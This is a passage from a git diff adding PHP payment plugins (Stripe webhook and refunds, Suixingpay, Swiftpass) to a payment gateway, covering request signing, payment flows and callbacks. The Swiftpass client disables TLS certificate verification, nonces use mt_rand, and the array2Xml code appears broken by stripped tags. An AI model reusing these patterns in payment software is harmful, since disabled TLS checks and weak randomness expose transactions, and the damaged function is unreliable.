+ } + } + + //异步回调 + static public function webhook(){ + global $channel, $order, $DB; + + require_once PAY_ROOT.'inc/Webhook.php'; + + $payload = file_get_contents('php://input'); + $data = json_decode($payload, true); + if(!$data){ + http_response_code(400); + return ['type'=>'html','data'=>'no data']; + } + + if(isset($data['data']['object']['client_reference_id'])){ + $out_trade_no = daddslashes($data['data']['object']['client_reference_id']); + }elseif(isset($data['data']['object']['metadata']['order_id'])){ + $out_trade_no = daddslashes($data['data']['object']['metadata']['order_id']); + }else{ + http_response_code(400); + return ['type'=>'html','data'=>'no order_id']; + } + $order = $DB->getRow("SELECT * FROM pre_order WHERE trade_no='$out_trade_no' limit 1"); + if(!$order){ + http_response_code(400); + return ['type'=>'html','data'=>'no order']; + } + + $channel = \lib\Channel::get($order['channel']); + if(!$channel){ + http_response_code(400); + return ['type'=>'html','data'=>'no channel']; + } + + $endpoint_secret = $channel['appkey']; + $sig_header = $_SERVER['HTTP_STRIPE_SIGNATURE']; + $event = null; + + try { + $event = \Stripe\Webhook::constructEvent($payload, $sig_header, $endpoint_secret); + } catch(Exception $e) { + http_response_code(400); + return ['type'=>'html','data'=>$e->getMessage()]; + } + + switch($event['type']){ + case 'checkout.session.completed': + $session = $event['data']['object']; + if ($session['payment_status'] == 'paid') { + processNotify($order, $session['payment_intent']); + } + break; + case 'checkout.session.async_payment_succeeded': + $session = $event['data']['object']; + processNotify($order, $session['payment_intent']); + break; + case 'payment_intent.succeeded': + $session = $event['data']['object']; + processNotify($order, $session['id']); + break; + } + return ['type'=>'html','data'=>'success']; + } + + //同步回调 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //同步回调 + static public function error(){ + return ['type'=>'page','page'=>'error']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require_once PAY_ROOT.'inc/StripeClient.php'; + + if(!$channel['currency_rate']) $channel['currency_rate'] = 1; + $amount = intval(round($order['refundmoney'] * $channel['currency_rate'] * 100)); + + try{ + $stripe = new Stripe\StripeClient($channel['appid']); + $data = [ + 'payment_intent' => $order['api_trade_no'], + 'amount' => $amount, + ]; + $result = $stripe->request('post', '/v1/refunds', $data); + return ['code'=>0, 'trade_no'=>$result['payment_intent'], 'refund_fee'=>$result['amount']/100]; + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } + +} \ No newline at end of file diff --git a/plugins/suixingpay/inc/Suixingpay.class.php b/plugins/suixingpay/inc/Suixingpay.class.php new file mode 100644 index 0000000..833ad4c --- /dev/null +++ b/plugins/suixingpay/inc/Suixingpay.class.php @@ -0,0 +1,113 @@ +org_id = $org_id; + $this->platform_public_key = $platform_public_key; + $this->merchant_private_key = $merchant_private_key; + } + + //发起API请求 + public function submit($url, $data){ + $apiurl = $this->gateway.$url; + $params = [ + 'orgId' => $this->org_id, + 'reqId' => $this->getMillisecond(), + 'reqData' => $data, + 'timestamp' => date('YmdHis'), + 'version' => $this->version, + 'signType' => $this->sign_type, + ]; + + $params['sign'] = $this->generateSign($params); + + $response = get_curl($apiurl, json_encode($params), 0, 0, 0, 0, 0, ['Content-Type: application/json; charset=utf-8']); + if(!$response){ + throw new Exception('请求接口失败'); + } + $result = json_decode($response, true); + if (isset($result['code']) && $result['code'] == '0000') { + if(!$this->verifySign($result)) throw new Exception('返回数据验签失败'); + return $result['respData']; + } elseif(isset($result['msg'])) { + throw new Exception($result['msg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //获取待签名字符串 + private function getSignContent($param){ + ksort($param); + $signstr = ''; + + foreach($param as $k => $v){ + if($k != "sign" && $v!==null && $v!==''){ + if(is_array($v)){ + $signstr .= $k.'='.json_encode($v, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES).'&'; + }else{ + $signstr .= $k.'='.$v.'&'; + } + } + } + $signstr = substr($signstr,0,-1); + return $signstr; + } + + //请求参数签名 + private function generateSign($param){ + return $this->rsaPrivateSign($this->getSignContent($param)); + } + + //验签方法 + public function verifySign($param){ + if(empty($param['sign'])) return false; + return $this->rsaPubilcSign($this->getSignContent($param), $param['sign']); + } + + //商户私钥签名 + private function rsaPrivateSign($data){ + $key = "-----BEGIN RSA PRIVATE KEY-----\n" . + wordwrap($this->merchant_private_key, 64, "\n", true) . + "\n-----END RSA PRIVATE KEY-----"; + $res = openssl_pkey_get_private($key); + if(!$res){ + throw new Exception('签名失败,商户私钥错误'); + } + openssl_sign($data, $sign, $res); + $sign = base64_encode($sign); + return $sign; + } + + //平台公钥验签 + private function rsaPubilcSign($data, $sign){ + $key = "-----BEGIN PUBLIC KEY-----\n" . + wordwrap($this->platform_public_key, 64, "\n", true) . + "\n-----END PUBLIC KEY-----"; + $res = openssl_pkey_get_public($key); + if(!$res){ + throw new Exception('验签失败,平台公钥错误'); + } + $result = openssl_verify($data, base64_decode($sign), $res); + return $result; + } + + private function getMillisecond() + { + list($s1, $s2) = explode(' ', microtime()); + return sprintf('%.0f', (floatval($s1) + floatval($s2)) * 1000); + } + +} \ No newline at end of file diff --git a/plugins/suixingpay/suixingpay_plugin.php b/plugins/suixingpay/suixingpay_plugin.php new file mode 100644 index 0000000..c527a6b --- /dev/null +++ b/plugins/suixingpay/suixingpay_plugin.php @@ -0,0 +1,423 @@ + 'suixingpay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '随行付', //支付插件显示名称 + 'author' => '随行付', //支付插件作者 + 'link' => 'https://www.suixingpay.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '机构编号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '平台公钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '商户私钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '商户编号', + 'type' => 'input', + 'note' => '', + ], + ], + 'select' => null, + 'select_alipay' => [ + '1' => '扫码支付', + '2' => 'JS支付', + ], + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + if(checkalipay() && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='wxpay'){ + if($channel['appwxmp']>0 && checkwechat()){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif($channel['appwxa']>0 && checkmobile()){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice, $method; + + if($method == 'applet'){ + return self::wxplugin(); + //return self::wxapplet(); + } + elseif($order['typename']=='alipay'){ + if($mdevice=='alipay' && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>$siteurl.'pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return self::alipay(); + } + }elseif($order['typename']=='wxpay'){ + if($channel['appwxmp']>0 && $mdevice=='wechat'){ + return ['type'=>'jump','url'=>$siteurl.'pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif($channel['appwxa']>0 && $device=='mobile'){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //扫码支付 + static private function qrcode($type){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/Suixingpay.class.php"); + + $params = [ + 'mno' => $channel['appmchid'], + 'ordNo' => TRADE_NO, + 'amt' => (string)$order['realmoney'], + 'payType' => $type, + 'subject' => $ordername, + 'trmIp' => $clientip, + 'notifyUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + ]; + + $client = new Suixingpay($channel['appid'], $channel['appkey'], $channel['appsecret']); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $params) { + $result = $client->submit('/order/activeScan', $params); + + if($result['bizCode'] == '0000'){ + return $result['payUrl']; + }else{ + throw new Exception('['.$result['bizCode'].']'.$result['bizMsg']); + } + }); + } + + //JS支付 + static private function jsapi($type, $subAppid, $userId, $is_mini = false){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/Suixingpay.class.php"); + + $payWay = $type=='WECHAT'&&$is_mini?'03':'02'; + + $params = [ + 'mno' => $channel['appmchid'], + 'ordNo' => TRADE_NO, + 'amt' => (string)$order['realmoney'], + 'payType' => $type, + 'payWay' => $payWay, + 'subject' => $ordername, + 'trmIp' => $clientip, + 'subAppid' => $subAppid, + 'userId' => $userId, + 'notifyUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + ]; + + $client = new Suixingpay($channel['appid'], $channel['appkey'], $channel['appsecret']); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $params, $type) { + $result = $client->submit('/order/jsapiScan', $params); + + if($result['bizCode'] == '0000'){ + if($type=='WECHAT'){ + return ['appId'=>$result['payAppId'], 'timeStamp'=>$result['payTimeStamp'], 'nonceStr'=>$result['paynonceStr'], 'package'=>$result['payPackage'], 'signType'=>$result['paySignType'], 'paySign'=>$result['paySign']]; + }elseif($type=='ALIPAY'){ + return $result['source']; + }elseif($type=='UNIONPAY'){ + return $result['redirectUrl']; + } + }else{ + throw new Exception('['.$result['bizCode'].']'.$result['bizMsg']); + } + }); + } + + //小程序收银台 + static private function appletPay($appletSource){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/Suixingpay.class.php"); + + $params = [ + 'mno' => $channel['appmchid'], + 'ordNo' => TRADE_NO, + 'amt' => (string)$order['realmoney'], + 'appletSource' => $appletSource, + 'subject' => $ordername, + 'trmIp' => $clientip, + 'notifyUrl' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + ]; + + $client = new Suixingpay($channel['appid'], $channel['appkey'], $channel['appsecret']); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $params) { + $result = $client->submit('/order/appletScanPre', $params); + + if($result['bizCode'] == '0000'){ + return $result; + }else{ + throw new Exception('['.$result['bizCode'].']'.$result['bizMsg']); + } + }); + } + + //支付宝扫码支付 + static public function alipay(){ + global $channel, $device, $mdevice, $siteurl; + if(in_array('2',$channel['apptype']) && !in_array('1',$channel['apptype'])){ + $code_url = $siteurl.'pay/alipayjs/'.TRADE_NO.'/'; + }else{ + try{ + $code_url = self::qrcode('ALIPAY'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + } + + if(checkalipay() || $mdevice=='alipay'){ + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + + static public function alipayjs(){ + [$user_type, $user_id] = alipay_oauth(); + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + if($user_type == 'openid'){ + return ['type'=>'error','msg'=>'支付宝快捷登录获取uid失败,需将用户标识切换到uid模式']; + } + + try{ + $alipay_trade_no = self::jsapi('ALIPAY', '', $user_id); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'alipay_jspay','data'=>['alipay_trade_no'=>$alipay_trade_no, 'redirect_url'=>$redirect_url]]; + } + + //微信扫码支付 + static public function wxpay(){ + try{ + $code_url = self::qrcode('WECHAT'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if(checkwechat()){ + return ['type'=>'jump','url'=>$code_url]; + } elseif (checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + try{ + $pay_info = self::jsapi('WECHAT', $wxinfo['appid'], $openid); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败 '.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>json_encode($pay_info), 'redirect_url'=>$redirect_url]]; + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + try{ + $pay_info = self::jsapi('WECHAT', $wxinfo['appid'], $openid, true); + }catch(Exception $ex){ + exit(json_encode(['code'=>-1, 'msg'=>'微信支付下单失败 '.$ex->getMessage()])); + } + + exit(json_encode(['code'=>0, 'data'=>json_decode($pay_info, true)])); + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try{ + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + } + + //微信小程序插件支付 + static public function wxplugin(){ + try{ + $result = self::appletPay('00'); + $payinfo = ['appId'=>'wx78f434e31e956fb8', 'amt'=>$result['amt'], 'key'=>$result['key']]; + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'wxplugin','data'=>$payinfo]; + } + + //半屏小程序支付 + static public function wxapplet(){ + try{ + $result = self::appletPay('01'); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'wxapp','data'=>['appId'=>$result['appId'], 'path'=>$result['path']]]; + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $code_url = self::qrcode('UNIONPAY'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + $json = file_get_contents('php://input'); + //file_put_contents('logs.txt', $json); + $arr = json_decode($json,true); + + require(PAY_ROOT."inc/Suixingpay.class.php"); + + $client = new Suixingpay($channel['appid'], $channel['appkey'], $channel['appsecret']); + $verify_result = $client->verifySign($arr); + + if($verify_result) {//验证成功 + + if ($arr['bizCode'] == '0000') { + if($arr['ordNo'] == TRADE_NO){ + processNotify($order, $arr['sxfUuid'], $arr['buyerId'], $arr['transactionId']); + } + return ['type'=>'html','data'=>'{"code":"success","msg":"成功"}']; + }else{ + return ['type'=>'html','data'=>'{"code":"fail","msg":"状态错误"}']; + } + } + else { + //验证失败 + return ['type'=>'html','data'=>'{"code":"fail","msg":"签名错误"}']; + } + + } + + //同步回调 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require(PAY_ROOT."inc/Suixingpay.class.php"); + + $params = [ + 'mno' => $channel['appmchid'], + 'ordNo' => $order['refund_no'], + 'origOrderNo' => $order['trade_no'], + 'amt' => (string)$order['refundmoney'], + ]; + + $client = new Suixingpay($channel['appid'], $channel['appkey'], $channel['appsecret']); + try{ + $result = $client->submit('/order/refund', $params); + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + + if (isset($result['bizCode']) && $result['bizCode'] == '0000') { + return ['code'=>0, 'trade_no'=>$result['origOrderNo'], 'refund_fee'=>$result['amt']]; + } elseif(isset($result['bizCode'])) { + return ['code'=>-1, 'msg'=>'['.$result['bizCode'].']'.$result['bizMsg']]; + }else{ + return ['code'=>-1, 'msg'=>'未知错误']; + } + } +} \ No newline at end of file diff --git a/plugins/swiftpass/inc/SwiftpassClient.class.php b/plugins/swiftpass/inc/SwiftpassClient.class.php new file mode 100644 index 0000000..f593e91 --- /dev/null +++ b/plugins/swiftpass/inc/SwiftpassClient.class.php @@ -0,0 +1,292 @@ +signType = $config['sign_type']; + if (empty($config['mchid'])) { + throw new \InvalidArgumentException("商户号不能为空"); + } + $this->mchId = $config['mchid']; + if ($this->signType == 'MD5') { + if (empty($config['key'])) { + throw new \InvalidArgumentException("商户密钥不能为空"); + } + $this->key = $config['key']; + } + if (substr($this->signType, 0, 3) == 'RSA') { + if (empty($config['rsa_private_key']) || empty($config['rsa_public_key'])) { + throw new \InvalidArgumentException("商户私钥/平台公钥不能为空"); + } + $this->rsaPrivateKey = $config['rsa_private_key']; + $this->rsaPublicKey = $config['rsa_public_key']; + } + if (!empty($config['gateway_url'])) { + $this->gatewayUrl = $config['gateway_url']; + } + } + + /** + * 发起请求并解析返回结果 + */ + public function requestApi($params) + { + if (empty($params['service'])) { + throw new \InvalidArgumentException("service参数不能为空"); + } + $publicParams = [ + 'mch_id' => $this->mchId, + 'version' => $this->version, + 'sign_type' => $this->signType, + 'nonce_str' => $this->getNonceStr() + ]; + $params = array_merge($publicParams, $params); + $params['sign'] = $this->makeSign($params); + + $xml = $this->array2Xml($params); + $response = $this->curl($this->gatewayUrl, $xml); + $result = $this->xml2array($response); + if (isset($result['status']) && $result['status'] == '0') { + if (!$this->verifySign($result)) { + throw new Exception('返回数据签名校验失败'); + } + if (isset($result['result_code']) && $result['result_code'] == '0') { + return $result; + } else { + throw new \Exception('['.$result['err_code'].']'.$result['err_msg']); + } + } elseif(isset($result['message'])) { + throw new \Exception($result['message']); + } else { + throw new \Exception('返回数据解析失败'); + } + } + + /** + * 支付结果通知 + * @return bool|mixed + */ + public function notify() + { + $xml = file_get_contents("php://input"); + if (empty($xml)) { + throw new \Exception('no_data'); + } + $result = $this->xml2array($xml); + if (!$result) { + throw new \Exception('xml_error'); + } + if (!$this->verifySign($result)) { + throw new \Exception('sign_error'); + } + return $result; + } + + /** + * 验证签名 + */ + private function verifySign($params) + { + if(!isset($params['sign'])) return false; + $signStr = $this->getSignContent($params); + if (substr($this->signType, 0, 3) == 'RSA') { + return $this->rsaPublicVerify($signStr, $params['sign']); + } else { + $sign = md5($signStr . '&key=' . $this->key); + $sign = strtoupper($sign); + return $params['sign'] === $sign; + } + } + + /** + * 生成签名 + * @param $params + * @return string + */ + private function makeSign($params) + { + $signStr = $this->getSignContent($params); + if (substr($this->signType, 0, 3) == 'RSA') { + $sign = $this->rsaPrivateSign($signStr); + } else { + $sign = md5($signStr . '&key=' . $this->key); + $sign = strtoupper($sign); + } + return $sign; + } + + /** + * 生成待签名字符串 + */ + private function getSignContent($params) + { + ksort($params); + $signStr = ''; + foreach ($params as $k => $v) { + if($k != 'sign' && !$this->isEmpty($v)){ + $signStr .= $k . '=' . $v . '&'; + } + } + $signStr = substr($signStr, 0, -1); + return $signStr; + } + + /** + * 商户RSA私钥签名 + */ + private function rsaPrivateSign($data) + { + $key = "-----BEGIN RSA PRIVATE KEY-----\n" . + wordwrap($this->rsaPrivateKey, 64, "\n", true) . + "\n-----END RSA PRIVATE KEY-----"; + $privatekey = openssl_get_privatekey($key); + if (!$privatekey) { + throw new \Exception("签名失败,商户RSA私钥错误"); + } + if ($this->signType == 'RSA_1_1') { + openssl_sign($data, $sign, $privatekey); + } else if ($this->signType == 'RSA_1_256') { + openssl_sign($data, $sign, $privatekey, OPENSSL_ALGO_SHA256); + } + return base64_encode($sign); + } + + /** + * 平台公钥验签 + */ + private function rsaPublicVerify($data, $sign) + { + $key = "-----BEGIN PUBLIC KEY-----\n" . + wordwrap($this->rsaPublicKey, 64, "\n", true) . + "\n-----END PUBLIC KEY-----"; + $publickey = openssl_get_publickey($key); + if (!$publickey) { + throw new \Exception("验签失败,平台RSA公钥错误"); + } + if ($this->signType == 'RSA_1_1') { + $result = openssl_verify($data, base64_decode($sign), $publickey); + } else if ($this->signType == 'RSA_1_256') { + $result = openssl_verify($data, base64_decode($sign), $publickey, OPENSSL_ALGO_SHA256); + } + return $result === 1; + } + + /** + * 校验某字符串或可被转换为字符串的数据,是否为 NULL 或均为空白字符. + * + * @param string|null $value + * + * @return bool + */ + private function isEmpty($value) + { + return $value === null || trim($value) === ''; + } + + /** + * 产生随机字符串,不长于32位 + * @param int $length + * @return 产生的随机字符串 + */ + private function getNonceStr($length = 32) + { + $chars = "abcdefghijklmnopqrstuvwxyz0123456789"; + $str = ""; + for ($i = 0; $i < $length; $i++) { + $str .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); + } + return $str; + } + + /** + * 转为XML数据 + * @param array $data 源数据 + * @return string + */ + private function array2Xml($data) + { + if (!is_array($data)) { + return false; + } + $xml = ''; + foreach ($data as $key => $val) { + $xml .= (is_numeric($val) ? "<{$key}>{$val}" : "<{$key}>"); + } + return $xml . ''; + } + + /** + * 解析XML数据 + * @param string $xml 源数据 + * @return mixed + */ + private function xml2array($xml) + { + if (!$xml) { + return false; + } + if(function_exists('libxml_disable_entity_loader')) { + libxml_disable_entity_loader(true); + } + return json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA), JSON_UNESCAPED_UNICODE), true); + } + + /** + * 以post方式提交xml到对应的接口url + * @param string $url url + * @param string $xml 需要post的xml数据 + * @param int $second url执行超时时间 + * @return string + */ + private function curl($url, $xml, $second = 10) + { + $ch = curl_init(); + curl_setopt($ch, CURLOPT_TIMEOUT, $second); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_HEADER, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $xml); + $data = curl_exec($ch); + if (curl_errno($ch) > 0) { + $errmsg = curl_error($ch); + curl_close($ch); + throw new \Exception('call http err :'.$errmsg, 0); + } + $httpStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + if ($httpStatusCode != 200) { + curl_close($ch); + throw new \Exception('call http err httpcode='.$httpStatusCode, $httpStatusCode); + } + curl_close($ch); + return $data; + } +} \ No newline at end of file diff --git a/plugins/swiftpass/inc/SwiftpassConfig.php b/plugins/swiftpass/inc/SwiftpassConfig.php new file mode 100644 index 0000000..a4fc7ba --- /dev/null +++ b/plugins/swiftpass/inc/SwiftpassConfig.php @@ -0,0 +1,18 @@ + $channel['appurl'], + + //签名类型 + 'sign_type' => 'RSA_1_256', + + //商户号 + 'mchid' => $channel['appid'], + + //平台RSA公钥 + 'rsa_public_key' => $channel['appkey'], + + //商户RSA私钥 + 'rsa_private_key' => $channel['appsecret'], +]; +return $swiftpass_config; \ No newline at end of file diff --git a/plugins/swiftpass/swiftpass_plugin.php b/plugins/swiftpass/swiftpass_plugin.php new file mode 100644 index 0000000..8256639 --- /dev/null +++ b/plugins/swiftpass/swiftpass_plugin.php @@ -0,0 +1,377 @@ + 'swiftpass', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '威富通RSA', //支付插件显示名称 + 'author' => '威富通', //支付插件作者 + 'link' => 'https://www.swiftpass.cn/', //支付插件作者链接 + 'types' => ['alipay','wxpay','qqpay','bank','jdpay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '商户号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '平台RSA公钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '商户RSA私钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appurl' => [ + 'name' => '自定义网关URL', + 'type' => 'input', + 'note' => '可不填,默认是https://pay.swiftpass.cn/pay/gateway', + ], + 'appswitch' => [ + 'name' => '微信是否支持H5', + 'type' => 'select', + 'options' => [0=>'否',1=>'是'], + ], + ], + 'select' => null, + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + }elseif($order['typename']=='wxpay'){ + if(checkwechat()){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif(checkmobile()){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='qqpay'){ + return ['type'=>'jump','url'=>'/pay/qqpay/'.TRADE_NO.'/']; + }elseif($order['typename']=='jdpay'){ + return ['type'=>'jump','url'=>'/pay/jdpay/'.TRADE_NO.'/']; + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + if($order['typename']=='alipay'){ + return self::alipay(); + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat'){ + if ($channel['appwxmp']>0) { + return ['type'=>'jump','url'=>$siteurl.'pay/wxjspay/'.TRADE_NO.'/?d=1']; + }else{ + return self::wxjspay(); + } + }elseif($device=='mobile'){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='qqpay'){ + return self::qqpay(); + }elseif($order['typename']=='jdpay'){ + return self::jdpay(); + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //扫码通用 + static private function nativepay($service){ + global $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT.'inc/SwiftpassClient.class.php'); + $pay_config = require(PAY_ROOT.'inc/SwiftpassConfig.php'); + + $params = [ + 'service' => $service, + 'body' => $ordername, + 'total_fee' => strval($order['realmoney']*100), + 'mch_create_ip' => $clientip, + 'out_trade_no' => TRADE_NO, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + ]; + + $client = new SwiftpassClient($pay_config); + $result = $client->requestApi($params); + $code_url = $result['code_url']; + if(strpos($code_url,'myun.tenpay.com')){ + $qrcode=explode('&t=',$code_url); + $code_url = 'https://qpay.qq.com/qr/'.$qrcode[1]; + } + return $code_url; + } + + //微信JS支付 + static private function weixinjspay($sub_appid, $sub_openid, $is_minipg = 0){ + global $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT.'inc/SwiftpassClient.class.php'); + $pay_config = require(PAY_ROOT.'inc/SwiftpassConfig.php'); + + $params = [ + 'service' => 'pay.weixin.jspay', + 'is_raw' => '1', + 'is_minipg' => strval($is_minipg), + 'body' => $ordername, + 'sub_appid' => $sub_appid, + 'sub_openid' => $sub_openid, + 'total_fee' => strval($order['realmoney']*100), + 'mch_create_ip' => $clientip, + 'out_trade_no' => TRADE_NO, + 'device_info' => 'AND_WAP', + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + ]; + + $client = new SwiftpassClient($pay_config); + $result = $client->requestApi($params); + $pay_info = $result['pay_info']; + return $pay_info; + } + + //微信H5支付 + static private function weixinh5pay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT.'inc/SwiftpassClient.class.php'); + $pay_config = require(PAY_ROOT.'inc/SwiftpassConfig.php'); + + $params = [ + 'service' => 'pay.weixin.wappay', + 'body' => $ordername, + 'total_fee' => strval($order['realmoney']*100), + 'mch_create_ip' => $clientip, + 'out_trade_no' => TRADE_NO, + 'device_info' => 'AND_WAP', + 'mch_app_name' => $conf['sitename'], + 'mch_app_id' => $siteurl, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'callback_url' => 